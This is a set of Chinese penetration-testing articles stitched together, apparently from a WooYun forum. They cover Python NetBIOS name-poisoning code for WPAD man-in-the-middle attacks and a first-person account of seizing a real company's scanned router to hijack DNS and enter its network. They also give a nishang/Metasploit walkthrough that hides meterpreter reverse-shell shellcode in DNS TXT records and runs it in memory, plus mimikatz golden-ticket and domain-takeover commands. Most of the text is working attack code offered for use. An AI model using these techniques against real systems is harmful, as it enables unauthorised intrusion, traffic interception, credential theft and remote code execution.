https://tools.ietf.org/html/rfc1002

Python 实现 NetBIOS 协议的质询与应答
尽管目前已有相当优秀的网络协议开源库实现了 NetBIOS 的质询与应答,不过为了更好的理解 NetBIOS 协议,我们还是动手自己来构造协议数据包。根据 Wireshark 抓取的数据包(图 5)可以很快的构造并实现 NetBIOS 协议的名称查询数据包。代码如下:
#!python #/usr/bin/env python # -*- coding:utf-8 -*- __doc__ = """ NBNS Query , by Her0in """ import socket, struct class NBNS_Query: def __init__(self,name): self.name = name self.populate() def populate(self): self.HOST = '192.168.16.255' self.PORT = 137 self.nqs = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.QueryData = ( "\xa9\xfb" # Transaction ID "\x01\x10" # Flags Query "\x00\x01" # Question:1 "\x00\x00" # Answer RRS "\x00\x00" # Authority RRS "\x00\x00" # Additional RRS "\x20" # length of Name:32 "NAME" # Name "\x00" # NameNull "\x00\x20" # Query Type:NB "\x00\x01") # Class self.data = self.QueryData.replace('NAME', struct.pack("32s", self.encode_name(self.name))) # From http://code.google.com/p/dpkt/ def encode_name(self,name): """Return the NetBIOS first-level encoded name.""" l =
for c in struct.pack('16s', name): c = ord(c) l.append(chr((c >> 4) + 0x41)) l.append(chr((c & 0xf) + 0x41)) return ''.join(l) def Query(self): while 1: print "NBNS Querying... -> %s" % self.name self.nqs.sendto(self.data, (self.HOST, self.PORT)) self.nqs.close() if __name__ == "__main__": nbns = NBNS_Query("WPAD") nbns.Query()
通过 Wireshark 抓取 NetBIOS 名称查询的应答数据包,同样可以快速实现名称查询的应答功能。代码如下:
#!python #/usr/bin/env python # -*- coding:utf-8 -*- __doc__ = """ NBNS Answer , by Her0in """ import socket, struct,binascii class NBNS_Answer: def __init__(self, addr): self.IPADDR = addr self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.init_socket() self.populate() def populate(self): self.AnswerData = ( "TID" # Transaction ID "\x85\x00" # Flags Query "\x00\x00" # Question "\x00\x01" # Answer RRS "\x00\x00" # Authority RRS "\x00\x00" # Additional RRS "\x20" # length of Name:32 "NAME" # Name "\x00" # NameNull "\x00\x20" # Query Type:NB "\x00\x01" # Class "\x00\x00\x00\xa5" # TTL "\x00\x06" # "\x00\x00" # Null "IPADDR") # IP Address def init_socket(self): self.HOST = "0.0.0.0" self.PORT = 137 self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) def decode_name(self, nbname): """Return the NetBIOS first-level decoded nbname.""" if len(nbname) != 32: return nbname l =
for i in range(0, 32, 2): l.append(chr(((ord(nbname
) - 0x41) << 4) | ((ord(nbname
) - 0x41) & 0xf))) return ''.join(l).split('\x00', 1)
def Answser(self): self.nas.bind((self.HOST, self.PORT)) print "Listening..." while 1: data, addr = self.nas.recvfrom(1024) tid = data
name = data
data = self.AnswerData.replace('TID', tid) data = data.replace('NAME', name) data = data.replace('IPADDR', socket.inet_aton(self.IPADDR)) print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr
, self.decode_name(name)) self.nas.sendto(data, addr) self.nas.close() if __name__ == "__main__": nbns = NBNS_Answer("11.22.33.44") nbns.Answser()

利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击思路解析
通过上面一系列针对 WPAD 原理和 NetBIOS 协议的阐述,理解利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击的思路就不难了,不过利用思路将不会再像 文2 那样详述。因为我认为,只要理解了攻击思路,如何利用就是一个“方法论”的问题了,具体情况具体分析,各位大牛完全可以自由发挥。 利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击本质上还是利用了 Windows 系统的名称解析顺序和 NetBIOS 协议的特点。 在文章第三小节已经说过,在工作组环境中,客户端主机执行 WPAD 功能时,就会遵循 Windows 系统的名称解析顺序,查询的名称均为 “WPAD”。那么,如此看来,先广播进行 “WPAD” 名称的注册,然后监听 137 端口,等待局域网其他已启用 WPAD 功能的主机启动 IE 浏览器连接网络即可将受害者主机的浏览器代理设置为攻击者指定的代理服务器,这样就可以获得受害者的浏览器的上网记录。 利用上一节中的 Demo 程序以及 Python 的 SimpleHTTPServer 功能还有一台 HTTP 或者 SOCKS 代理服务器即可快速模拟出一个简单的攻击场景。如下图:
图 6: 利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击
如上图所示,攻击者开启 NetBIOS 恶意应答程序,并监听 80 端口提供 PAC 配置文件(wpad.dat)的下载,同时开启代理服务器(这里使用的是 HTTP 代理服务器 => Burp Suite)。 受害者主机(Windows XP) 打开 IE 浏览器(已启用了 WPAD 功能)开始上网,此时浏览器就会寻找当前局域网中的代理服务器,实际上是进行了 WPAD 的名称查询,可以从图中看到攻击者的恶意应答程序做了恶意应答,同时提供 PAC 配置文件下载的 HTTP 服务器打印出了日志信息,此时受害者的浏览器已经下载了 PAC 配置文件(该文件内容为代理服务器地址信息),之后,受害者的浏览器就会使用攻击者指定的代理服务器进行上网,这一点从 Burp Suite 中就可以看到。 OK,上述内容就是整个攻击的思路和流程,在实战中,完全可以将攻击过程程序化,自动化。

总结

利用 NetBIOS 协议进行中间人攻击的方式其实还有很多,攻击的思路也可以很灵活的根据实际需要进行布局。在利用 WPAD 进行攻击时,实际的效果很有可能没有想象的那么好,不过一旦奏效,就可以拿到受害者主机权限。尤其是在无计可施的情况下,还是值得一试的,很多内网中,管理员都不会对这些攻击方式做防御措施,除了部分桌面安全产品,如防火墙可能会做严格的过滤拦截,大部分情况下,此类攻击方式还是很有效的,尤其是可以在做名称解析响应时,筛选受害者主机,对 HTTP 数据包进行更改插入恶意代码,进行针对性的定点打击。另外,NetBIOS 协议比起 LLMNR 有一个更佳有利于攻击的特点,NetBIOS 协议的名称解析可以对受害者访问的域名进行响应,当然,前提是 DNS 服务器没有做出成功的响应时,才会使用 NetBIOS 协议进行查询。关于这一点以及 WPAD ,都可以结合 Windows Update 所使用的更新域名进行中间人攻击,下载并执行攻击者指定的补丁文件。 关于 NetBIOS 协议的内容可以在相关的 RFC 文档中查阅,其中还有不少东西可以在内网渗透中利用到,如 OPCODE 字段的取值,BROWSER 协议等等,更多的攻击思路还有待各位看官多多“引玉”。

基本介绍

去年开始利用路由器对目标内网进行渗透的方式方法开始研究,测试了一阵了。看到乌云之前有一篇翻译外国人的文章,讲路由器流量劫持的,利用条件苛刻,成效也不大。所以决定写一篇自己实测的例子。

控制路由器

现在只搞cisco的路由器,但是方法不限于cisco,华为,juniper什么的都可以。 这一步没有什么好的办法,我们利用分布式扫描抓到了一些路由器,再加上其他的漏洞,有了一定数量作为测试保证。 选择一台 cisco c800系列的小企业路由器(很老了)
图1 router version
进去之后,先查看日志,登陆认证相关信息。
图 2 router 登陆等相关信息
有一个登陆限制的acl,被我之前删掉了,这就找到了telnet的密码。同时没有开启aaa认证,也就不存在什么认证服务器什么的,就只有本地验证。没有任何日志服务器的配置,连snmp都没有配置(本来还想留一个snmp的后门,看来是不行了)。 赶紧添加账号密码,加固路由器,修复漏洞。
图3 添加特权账户

网络拓扑分析
基本操作完,赶紧保留一份完整的配置(这个不能完整的贴出来)然后分析基本网络架构。 总述就是这是一个公司的小分部,通过pppoe加nat上网,有一个公网ip地址,有一个10.xx.xx.0/24的内网地址,通过gre的隧道,和主公司相连,拥有更为庞大的内网。 这种网络形式是最为常见的,通过ISP拨号获取公网地址,然后内网机器通过nat上网。全公网ip地址的公司网络极为少见。 网络拓扑如下
图4 网络拓扑示意图

准备进入内网

内网机器通过NAT访问Google,同时内网受到NAT的保护。我们控制了R1这台路由器,处于内网出口;还有一台公网VPS,ubuntu12.04 。R2表示很多台路由器,没有控制权限。 由于想要进行内网渗透测试,需要获取更多的信息。我们另外添加一台公网VPS(win2008R)在上面架设流量监视服务器,分析内网日常流量和行为。 win2008搭建的是netflow服务器,在R1上配置netflow,来观测内网流量信息。netflow软件网上有好多,solarwind最好,支持sqlserver2005,能存储大量的数据,没找到破解版。我用的ManageEngine,到处都是破解版。 netflow配置:
ip flow-export so int e 0 ip flow-ex dst 1.1.1.1 8888 ip flow-ex ver 5 ……
流量分析比较直观,公司日常工作流量都是通过GRE Tunnel到达主网络,日常流量以http和https为主,而且通过流量统计可以看出来,他们的dns绝大多数都是Google public dns,占了所有dns流量的90%以上。
图6 目标网络流量总览图

图7 流量分类示意图
统计出来的web流量,尝试去打开这些网页,我都打不开,都是提示404 Not Found或者就是证书错误。这样看不见到底访问的是什么网站,Google也都没有搜索记录,就只能勉强看一下bing的同站,结果记录还是特别少。 为了摸清这个内网更为详细的信息(公司叫什么名字,员工经常登陆什么网站,常用软件是什么),就只能先劫持一下DNS了。由于网络环境比较恶略,有个NAT使得网络复杂太多。所以不选择使用透明劫持方式,选择用网关劫持方式。 做一下名词解释: 透明劫持方式:自定义名词,即不修改数据包的源IP地址和目的IP地址,只对数据包的data和checksum进行修改。这样基本不会让用户和服务器引起任何察觉,做到完全透明,同时无法被杀软防火墙IPS之类的发觉,除了增加一些延迟。 网关劫持方式:顾名思义,就是作为一个网关,对经过我的流量进行路由和NAT,使得流量能够正常在Internet上传输。会产生较大的影响,以Gmail为例,会提示异地登陆等。 关于劫持有一条准侧(我总结的):在有防火墙或者NAT的环境中劫持流量,你在哪把数据包接走,必须得把数据包(被劫持的数据包或者该数据包的回包)送回到那里。 这里做一下解释,在NAT上网的环境中做GRE通道的流量劫持,会很麻烦。出方向数据包通过路径为先进入GRE Tunnel,然后作为一个GRE 数据包通过NAT,也就是NAT只对GRE数据包生效,并且记录下状态,不会对被包含在GRE 中的数据包进行NAT,所以入方向,无法通过NAT。 这样的解释适用于防火墙。 因为编程能力有限等考虑,决定使用网关劫持模式。 在R1的连接公网的端口和我的Linux eth0 建立GRE Tunnel Linux IP 地址:1.1.1.1 路由器公网IP地址:2.2.2.2 R1的配置
en conf t int tunnel 1 tunnel so e0(接口名称,也可以使用接口IP地址,但是会出问题) tunnel dest 1.1.1.1 ip add 12.1.1.1 255.255.255.252 end
linux Ubuntu 配置: 建立GRE Tunnel
#modprobe ip_gre #lsmode | grep #ip tunnel add gre1 mode gre remote 2.2.2.2 local 1.1.1.1 ttl 255 #ip link set gre1 up #ip addr add 12.1.1.2 peer 12.1.1.1 dev gre1
在Tunnel的两端都PING一下对端的IP地址,应该都是通的。 然后开启路由转发 将 /proc/sys/net/ip_forward 的数值修改为 1 (本次有效,重启后失效) 修改 /etc/sysctl.conf 文件,让包转发在系统启动时生效 net.ipv4.ip_forward = 1 前面的#号去掉 开启Iptables 的NAT
#iptables -t nat -A POSTROUTING -s 192.168.1.0/25 -j SNAT —to-source 202.103.224.58
192的地址为需要做NAT的地址,202地址为已有公网IP地址,配置单词生效,重启后失效。 保存iptables 的规则 。
#service iptables save
添加内网路由
route add -net 10.0.0.0/8 gre1
通往10.0.0.0这个八位的网络全部走gre1这个出口,即全部走GRE隧道。 然后利用我们自己开发的软件获取DNS数据内容 ,内容不方便贴出。 劫持了几天dns,看他们上了几天网之后,对内网有了个更为清楚的认识。进一步对HTTP数据包进行修改,加了个探针。探明之后再准备加入EXP获取内网权限,结果都是chrome,就放弃了。探针信息不方便贴出。 流量中还有telnet,ssh这类的流量,但是不能劫持,目的地址做了acl的限制,我的Linux不能访问,直接refuse。

进入内网

流量不能帮我获取内网权限,就只能自己进入内网。 强制劫持一个内网没有人用的合法IP地址,通过连接linux openVPN分配给自己,剩下只要在路由器添加这个地址的主机路由和在Linux上添加到10.xx.xx.xx/8 的默认路由,然后我的WorkStation就获得了内网访问权限(没有像VPN什么的限制,访问权限等同于路由器权限)。 如何让自己的WorkStation进入内网就是很随意的了,方法实在是太多,因为此时这台Ubuntu已经在内网中。openVPN配置和添加路由配置就不贴出了,网上太多。
图8 验证Ubuntu于内网的连通性
这样的内网渗透是有以下几个优点:
1 你所有的流量会被内网流量设备认为是内网流量,流量稍微大一点的内网,你可以随意下载文件,不用再关心流量过大引起报警。(理论,没脱过文件) 在路由器上做好隐藏,规避netflow监测,去掉日志,在临走的时候直接erease所有的存储器,你的行为在内网不可查。(理论,没做过) 如果地址劫持的合适,能绕过内网服务器的登陆限制(三层限制)。 时间把握的好,可以制造内网某员工从文件服务器大量下载文件的假象。(理论,没做过)

缺点
就一个,数据包不加密,这点很烦人,数据包基本全透明。要是路由器外没有安全设备了或者直接做一个IPSec Tunnel,就等同于没缺点。 总结,就是拥有极高的隐蔽性,远高于VPN,马什么的。连日志服务器都可以不怎么理他。 本文标题为迈入内网,并非内网渗透,不做内网渗透相关研究。 所有的敏感的信息已经修改涂掉。

后话

其他的一些小讨论 关于链路延迟,研究比较多,需要多说一点。以我劫持的Google为例,我在Google与内网路径的附近,并且是靠近Google的一端。 到Google的延迟平均为0.617ms
图9 Ubuntu 到Google延迟
路由器到Linux的延迟平均为256ms,路由器直接ping Google 平均延迟时180ms
图10 路由器网络延迟截图
Linux处理劫持数据,修改数据包的软件延迟约为5ms,所以预估劫持之后的延迟应该在260ms左右。 但是,经过劫持之后,到目标的延迟为248,该数值小于256ms+0.6ms+5ms,至于为什么,无法解释。 总体延迟影响,增加了180ms的三分之一,60ms左右。 之前我们对延迟有过较多的讨论:增加了延迟的三分之一,影响会比较明显,容易被察觉从而引发报警。我个人认为,大家上百度比平时延迟增加了500ms,或是1s,就算是baidu的运维,在检查完IP地址,看完tracert之后,也就骂骂运营商。更何况一般网络用户不会认为是运营商的问题,只会认为是不是自己电脑卡了,可能有人怀疑自己被网络劫持了么。 关于内网路由器的讨论,本文研究的路由器为网络边界路由器,至少有一个公网IP地址。当路由器或者三层交换处于内网中,劫持能否使用,答案是可以的。通过建立七层应用层隧道(GRE为三层网络层隧道),就像我们个人电脑一样,穿过内网。或者直接同内网的一台服务器建立连接,劫持数据(经过验证,但是公网测试时,对端是一台公网CISCO路由器2911,没试过服务器,开发能力有限)。 如果需要穿透内网,需要应用层VPN,例如IPSec VPN,EZ VPN (我测试了这俩,其他的高于三层的VPN都理论可行)等,配置比GRE Tunnel复杂的多,但懂了原理配置还是很简单的。配置实在是贴不完。IP Sec VPN理论上应该可以向IP Sec VPN 服务器建立连接,我没成功,还在理论层面研究。EZ VPN ,CISCO专有,肯定不能在WIN或者linux上搭建服务器。 关于驻留,通过路由器扩展内网驻留或者路由器后门驻留,比马什么的好太多了,除了NSA和fireeye,没听说过谁接触过过路由器后门的。国内绝对是通杀,会配置路由器的都没几个人,更别说反查。 关于HTTPS的讨论:绿标这个问题确实比较头疼,我目前尝试能过的就是嵌套,在绿标中插入红标,最后用户看到的还是绿标。 关于流量劫持软件,网上都说劫持软件多如牛毛,但是实际上找下来,就没有一个可以拿来直接用的,尤其是在透明劫持这个模式下,没发现能直接用的,像什么MITMproxy什么什么的,大家都说好,实际测试一下,也就适合开发人员调试软件,所以只能自己开发,但是开发能力有限。 希望大家推荐一些,能效率很高的处理大流量(例如BGP劫持)的软件。

简介

DNS TXT记录一般用来记录某个主机名或者域名设置的说明,在这里可以填写任何东西,长度限制255。绝大多数的TXT记录是用来做SPF记录(反垃圾邮件)。本篇文章主要介绍如何使用nishang通过创建TXT记录执行powershell脚本。当然,首先你要有一个域名。
https://github.com/samratashok/nishang

创建TXT记录

这里需要使用nishang中的一个脚本OUT-DnsTxt。
https://github.com/samratashok/nishang/blob/master/Utility/Out-DnsTxt.ps1

1.常见命令
因为常见命令比较短,所以可以直接添加到TXT记录中,如下图: 现在查看一下TXT记录: 可以看到记录已经成功添加了。
2.脚本
由于TXT记录长度限制为255,如果要添加一个脚本到记录里面,需要添加多个TXT记录。下面是一个例子,自己写了一个PSH脚本:
#!powershell function Get-User { <# .SYNOPSIS Script to generate DNS TXT for a test. .DESCRIPTION Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up. .EXAMPLE PS > Get-User #>
Param () net user }
使用Out-Dnstxt进行转换:
PS F:\DNS> . .\Out-DnsTxt.ps1 PS F:\DNS> Out-DnsTxt -DataToEncode .\Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:\DNS\encodedtxt.txt
由于这个脚本比较小,所以只生产两行: 可以分别将这两行内容按顺序添加到 1.ps.domain.com到2.ps.domian.com中如下图: 查看TXT,可以看到内容都已经添加好了:

执行Powershell

添加完了TXT记录以后,通过DNS_TXT_Pwnage.ps1来执行这些脚本。
https://raw.githubusercontent.com/samratashok/nishang/master/Backdoors/DNS_TXT_Pwnage.ps1
DNS_TXT_Pwnage.ps1 是一个通过DNS TXT来接收命令或者脚本的一个后门脚本 这里还需要添加两条记录,strat与stop,具体如下图: 1.执行命令
PS F:\DNS> . .\DNS_TXT_Pwnage.ps1 PS F:\DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me - Subdomains 1 -StopString stop

解释一下参数:


startdomain为创建的start.domain,返回一个字符串; cmdstring 为任意输入的字符串; commanddomain为创建的执行命令TXT记录的域名; psstring为任意输入的字符串; psdomain为创建的执行脚本TXT记录的域名或子域名 ; Subdomains为执行脚本创建TXT记录的个数(如1.2中创建的脚本,该值为2); StopString为任意输入的字符串。
此处比较重要的参数为
startdomain
,他会与我们输入的cmdstring以及psstring进行比较,如果与cmdstring值相等,则执行
commanddomain
即命令,与psstring相等则执行
psdomain
即脚本。 上面为执行命令,所以cmdstring值我们输入为start,与start.evi1cg.me的txt记录值相等,psstring随便输入,不留空就行。执行结果如下图: 我们可以通过修改command.domain的TXT值来执行不同的命令。比如Get-Host:
2.执行脚本

PS F:\DNS> . .\DNS_TXT_Pwnage.ps1 PS F:\DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1 cg.me -Arguments Get-User -Subdomains 2 -StopString stop
这里要注意,psstring的值为start,与start.domain的TXT记录相同,cmdstring为任意字符串。效果如下图:

这里多一个参数Arguments,要写明要执行的函数名,测试发现,在脚本中含有中文时会失败。对于需要带参数的脚本可以修改脚本指定参数值。

执行Shellcode

可以通过TXT记录执行shellcode,首先,我们使用msf生成一个powershell的shellcode:
☁ ~ sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt
使用Out-DnsTxt对生成的文件进行转换:
PS F:\DNS> Out-DnsTxt -DataToEncode .\pspayload.txt You need to create 3 TXT records. All TXT Records written to F:\DNS\encodedtxt.txt
然后将以上记录分别添加到TXT记录中,如下图: 测试使用的32位win7系统,使用msf开启监听:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 8887 LPORT => 8887 msf exploit(handler) > set LHOST x.x.x.x LHOST => x.x.x.x msf exploit(handler) > exploit
Started reverse handler on x.x.x.x:8887
Starting the payload handler...
我们还需要一个获取TXT记录并执行的脚本,这里我改了一个脚本:
#!powershell function Execute-Code { <# .PARAMETER Shelldomain The domain (or subdomain) whose subbdomain's TXT records would hold shellcode. .PARAMETER subdomains The number of subdomains which would be used to provide shellcode from their TXT records. .PARAMETER AUTHNS Authoritative Name Server for the domains. .EXAMPLE PS > Execute-Code The payload will ask for all required options. .EXAMPLE PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net. Use above from non-interactive shell. #>
Param(

$Shelldomain,

$Subdomains,

$AUTHNS ) function Get-ShellCode { Param(

$Shelldomain ) $i = 1 while ($i -le $subdomains) { $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS") $temp = $getcommand | select-string -pattern "`"" $tmp1 = "" $tmp1 = $tmp1 + $temp $encdata = $encdata + $tmp1 -replace '\s+', "" -replace "`"", "" $i++ } #$encdata = "" $dec =
::FromBase64String($encdata) $ms = New-Object System.IO.MemoryStream $ms.Write($dec, 0, $dec.Length) $ms.Seek(0,0) | Out-Null $cs = New-Object System.IO.Compression.DeflateStream ($ms,
::Decompress) $sr = New-Object System.IO.StreamReader($cs) $sc = $sr.readtoend() return $sc } $Shell = (Get-ShellCode $Shelldomain) #Remove unrequired things from msf shellcode $tmp = $Shell -replace "`n","" -replace '\$buf \+\= ',"," -replace '\
\] \$buf \=' -replace " "
]$sc = $tmp -split ',' #Code Execution logic $code = @"
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static extern IntPtr memset(IntPtr dest, uint src, uint count); "@ $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru $size = 0x1000 if ($sc.Length -gt 0x1000) {$size = $sc.Length} $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset(
($x.ToInt64()+$i), $sc
, 1)} Try { $winFunc::CreateThread(0,0,$x,0,0,0) sleep 100000 } Catch {
"caught a system exception" } }

参数说明,Shelldomain **为创建txt记录的域名或子域名;subdomains为创建TXT域名的个数,如上面所创建的为3;AUTHNS **为域的权威名称服务器,如我使用的狗爹,所以AUTHNS为f1g1ns2.dnspod.net

在32位win7上执行:
PS C:\Users\evi1cg\Desktop> . .\Execute-Code.ps1 PS C:\Users\evi1cg\Desktop> Execute-Code -Shelldomain 32.evi1cg.me -subdomains 3 -AUTHNS f1g1ns2.dnspod.net
成功获取meterpreter会话: 64位的请自行修改payload及脚本。

补充

Metasploit中已经含有此脚本dns_txt_query_exec.rb,此脚本查询TXT记录的顺序为a.domain,b.domain...,下面是一个示例,首先生成payload:
☁ ~ sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt
使用下面的脚本对该文件进行切割:
#!python #!/usr/bin/env python #coding=utf-8 def txt(string,length): return
for x in range(0,len(string),length)] with open('out.txt','w+') as f: line = open('reverse.txt','r').read() line= txt(line,255) for txts in line: f.writelines(txts+'\n\n\n\n')
输出如下: 将这三行分别添加到a.domain,b.domain,c.domain的TXT记录中: 生成exe:
☁ ~ sudo msfvenom -p windows/dns_txt_query_exec DNSZONE=evi1cg.me -f exe > test.exe
msf开启监听:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST x.x.x.x LHOST => x.x.x.x msf exploit(handler) > set LPORT 8887 LPORT => 8887 msf exploit(handler) > exploit
运行exe,获得meterpreter: 至于免杀,可以直接生成c格式的shellcode,然后按照打造免杀payload来做。
http://zone.wooyun.org/content/22796

小结

本文主要介绍一种执行命令的方式以及nishang的脚本使用,希望能对大家有帮助。 本文由evi1cg原创并首发于乌云drops,转载请注明

废话连篇

最近几年很少搞内网渗透了,这几年发展的快啊,看了A牛翻译的<> ,发现趋势都是powershell脚本化了。想当年遇到的域控都是windows 2003的,找朋友要些vbscript脚本自动化,然后那啥那啥的。现在搞域除了前段时间出的MS14068,还有龙哥翻译的
http://drops.wooyun.org/papers/576
不知道还有什么新方法,心中还有激情,如果想交流的朋友,可以加我聊聊。

金之钥匙

我原来发过一个微薄说 这就是我说的金之钥匙,利用这个的条件是你在原来搞定域控的时候,已经导出过域用户的HASH,尤其是krbtgt 这个用户的。但是在你在内网干其他事情的时候,活儿不细,被人家发现了,你拥有的域管理员权限掉了,你现在还有一个普通的域用户权限,管理员做加固的时候又忘记修改krbtgt密码了(很常见),我们还是能重新回来,步骤如下: 要重新拿回域管理员权限,首先要先知道域内的管理员有谁
C:\Users\hydra>net group "domain admins" /domain
我这里的实验环境,通过截图可以看到域管理员是administrator 我还要知道域SID是啥
C:\Users\hydra>whoami /user
我的域SID是
S-1-5-21-3883552807-251258116-2724407435
还有最重要的krbtgt用户的ntlm哈希,我原来导出的是
krbtgt(current-disabled):502:aad3b435b51404eeaad3b435b51404ee:6a8e501fabcf264c70 ef3316c6aab7dc:::
然后该用神器mimikatz出场了,依次执行
mimikatz # kerberos::purge mimikatz # kerberos::golden /admin:Administrator /domain:pentstlab.com /sid:S-1-5-21-3883552807-251258116-2724407435 /krbtgt:6a8e501fabcf264c70ef3316c6aab7dc /ticket:Administrator.kiribi mimikatz # kerberos::ptt Administrator.kiribi mimikatz # kerberos::tgt
到现在,我们又重新拥有域管理员权限了,可以验证下
E:\>net use \\WIN-0DKN2AS0T2G\c$ E:\>psexec.exe \\WIN-0DKN2AS0T2G cmd

后话闲扯

呃,感觉这个方法比
http://drops.wooyun.org/tips/9297
这个方便些,文章写了好久了,一直凑不出更多的字数,就没发。。嗯。。。懒了。。

什么是域?

有人说域是一种组织结构,是个安全边界。域也有另为一个名字,“活动目录”。不管域是什么,它总有一些特点,有了它,对管理一个机构的组织单元,人员,特别是计算机就方便了许多,特别是计算机,因为域就是建立在计算机上的。加入域里的计算机,共享文件,共享上网就会很方便。 域里有个比较重要的角色,域控制器(DC)。它有至高无上的权限,它可以在域里对其他计算机(DA)胡作非为。域控制器里还有域内所有用户的帐号密码(曾在一个机房的机架上看到一张字条,上面写着"帐号密码是黑客攻击的首要目标",当时偶就笑抽了,机架的锁上还写着"这里锁住的是企业的秘密")。 综上所诉,域就是我们在进行渗透测试时,会碰到的一种网络环境。对域比较直观的展示时,在登录3389时,在域里的机器会多一个下拉框,见图。 如果“登录到”这个下拉框没有显示,请点击“选项(0)”按钮显示。仔细看,这个下拉框有两个选项,一个是此计算机,本地登录。一个是TESTONE域。再看下图 这个3389登录界面里的“登录到”下拉框只有一个选项TESTONE。没有此计算机的选项。没错,这台机器就是DC,变身成DC的机器本地帐户会被禁用,所以不能登录本机,只能登录到域中(一些书上是这样说的,偶学艺不精,没有准确验证过)。所以DC是伟大的。

寻找域控制

假设我们现在已经在一个域里,当然不是正常的存在。因为我们正在做渗透测试呢,而不是坐在公司里上班打dota。 一般情况下会有两种情况,第一:我们能登录一台域里服务器的3389。第二:我们用远程控制软件控制了一台域里的个人机器。只要有其中一种,你一定想,并很快拥有另一种。 好,情况已经这样美好了,我们下一步该做点什么了,有人说赶紧把毛片和种子下回来,作为一个脱离低级趣味的人来说,我绝对我大声的对他说,俺硬盘里还有云存储里的资源比他多的多,极品的多,还费的着下他的,切! 第一步我觉得不是导hash,而是再给对方种一个或者两个不同的远控,留条后路,然后导hash,查看各种信息。导hash的工具gsecdump,wce等,网上都可以下到。 关于导hash,分为导处本地存储的hash和正在登录状态用户的hash,正在登录用户的hash就有可能导到域管理员的,假设你在一台域里的服务器上转悠,这时,刚好管理员用域控管理帐户来视察这台服务器,那么内存里就有了他的hash,这时里运行一下工具,hash到手,不要说你破解不出来,没关系,还有那个法国神器,直接给它显示明文吧,没有明文也没关系,还可以hash注入! 关于查看些有用的信息,下面引用网上广为流传的命令。
net view
 查看同一域/工作组的计算机列表 net view /domain
 查看域/工作组列表 net view /domain:Secwing
 查看Secwing域中 计算机列表 net group /domain
 查看所在域的组 net user /domain
 查看所在域用户 net user /domain zerosoul 12345678
 修改域用户密码,需要域管理员权限,或者Ctrl+Alt+Del点击修改则不需要域管理员权限 net localgroup administrators SECWINGzerosoul /add
 域Users组用户添加到本地Administrators组,需要本地管理员或域管理员在本机登陆域后进行
下面的命令 只能用于 域控制器:
net group "Domain controllers"
 查看域控制器(如果有多台) net group
 查看域的组 net group "domain admins"
 查看域管理员 net group "domain users"
 查看域管理员
PS:打开配置域控制器向导的命令

dcpromo psexec /accepteula 绕过第一次验证窗口 mstsc /admin 远程桌面登录到console会话解决hash无法抓出问题
我们查看信息的目的是找出域控制器,网上一般提出过很多方法参考地址
http://hi.baidu.com/cao2109/item/6f7115687616e5166895e682
不过偶觉得微软提供的方法更好用(一个朋友教的,在此感谢)。官方解说:
http://msdn.microsoft.com/zh-cn/cc755655%28zh-cn,WS.10%29.aspx
对,就是用dsquery。在2003自带,system32目录里。要在xp执行,把dsquery.exe和dsquery.dll拷贝出来放在同目录就可以用了。dsquery不仅可以找域控制器,在一台普通域里的机器上就可以运行,列出域里的基本信息,包括组织单元,计算机,用户,子网,联系人(说实话,偶不懂这个耶)等。 找到域控后,很多时候不止一台域控。现在不管你用什么方法,exp啊,0day啊,hash注入呀,弱口令呀,社工呀,Arp呀,苍井空啊。弄到域控的权限,有了域管理员的帐号和密码,那么在域里YY就不愁了。

自由飞翔

假设现在我们拿到了域控管理员的帐号和密码,我们可以登录域内一台服务器,当然域控也没问题。不过管理会经常登域控,这样偷情肯定很容易被发现,所以最好找一台没有什么作用,被遗弃的服务器上去操作。 有了帐号密码,IPC链接。内网为了共享啥的方便,server服务都不会关闭,要是我自己电脑server和workstation是肯定要关的。假设我们的域管理员名字是CK,密码是123456,域的名字叫ALIYUN。我要到域里ip为192.168.4.6的机器上执行命令。我就去会敲出。
net use 192.168.4.6c$ 123456 /user:ALIYUNCK
要是这个IP其实不在域里,那么把ALIYUN的地方改成192.168.4.6,用户名改成administrator,然后再试试,可能有惊喜哦。 要是命令执行成功,执行net use可以看到已经建立的映射。 然后用psexec来执行命令,第一次运行请记得跳过验证
psexec /accepteula 绕过第一次验证窗口
不然坐在电脑面前的那个她会吓死的(你要在远控里的话)。 建立映射后,在交互式的cmdshell里,比如3389上去打开的cmdshell执行
Psexec -s 192.168.4.6 cmd.exe
就可以得到一个192.168.4.6机器上的一个cmd.exe.前提是已经net use映射成功了,接下来要干什么,就看你的了。 这是在交互式的cmdshell里,要是在远控里自带的cmdshell呢?一般远控里的cmdshell会用到管道来实现的,而psexec在回显的时候或许也用了管道,这样在执行下面的语句是可能会出现问题。
